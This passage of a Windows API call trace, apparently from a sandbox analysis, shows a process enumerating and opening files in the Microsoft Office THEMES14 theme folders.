ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.898] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0241.898] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.898] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.898] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.898] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.898] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.898] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.898] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.898] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x911030 [0241.898] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x915d78 [0241.898] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.898] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0241.898] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.898] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.898] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.898] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.898] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.898] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x911050 [0241.899] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x915c70 [0241.899] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.899] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.899] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.899] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.899] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.899] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.899] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.899] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x911070 [0241.899] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911c08 [0241.899] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.899] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.899] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.899] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.899] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.899] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.899] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.899] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x911090 [0241.899] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911b00 [0241.899] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.899] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.899] GetLastError () returned 0x12 [0241.899] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.899] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.900] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.900] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0241.900] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0241.900] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.900] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.900] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.900] GetLastError () returned 0x12 [0241.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.900] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.900] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0241.900] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.900] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0241.923] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.923] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x916398 [0241.923] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x916398, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x916398, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.923] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x916398) returned 1 [0241.923] NtClose (Handle=0x1bc) returned 0x0 [0241.923] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.923] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.923] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.923] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.924] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.924] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9163b0 [0241.924] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.924] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.924] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0241.924] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.924] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.924] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.924] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.924] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.924] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9164b8 [0241.924] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.924] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9110b0 [0241.924] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9165c0 [0241.924] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.924] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0241.924] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.924] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.924] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.924] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.924] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.924] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9110d0 [0241.924] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9166c8 [0241.924] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.924] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.924] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.925] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.925] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.925] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.925] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.925] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.925] GetLastError () returned 0x12 [0241.925] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.925] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.925] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.925] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0241.925] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0241.925] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.925] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.925] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.925] GetLastError () returned 0x12 [0241.925] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9163b0) returned 1 [0241.925] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.925] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9164b8) returned 1 [0241.925] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.925] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0241.925] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0241.926] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.926] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x918398 [0241.926] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x918398, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x918398, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.926] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x918398) returned 1 [0241.926] NtClose (Handle=0x1b0) returned 0x0 [0241.926] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.926] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.926] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.926] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.926] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.926] RtlAllocateHeap (HeapHandle=0x4a0000, 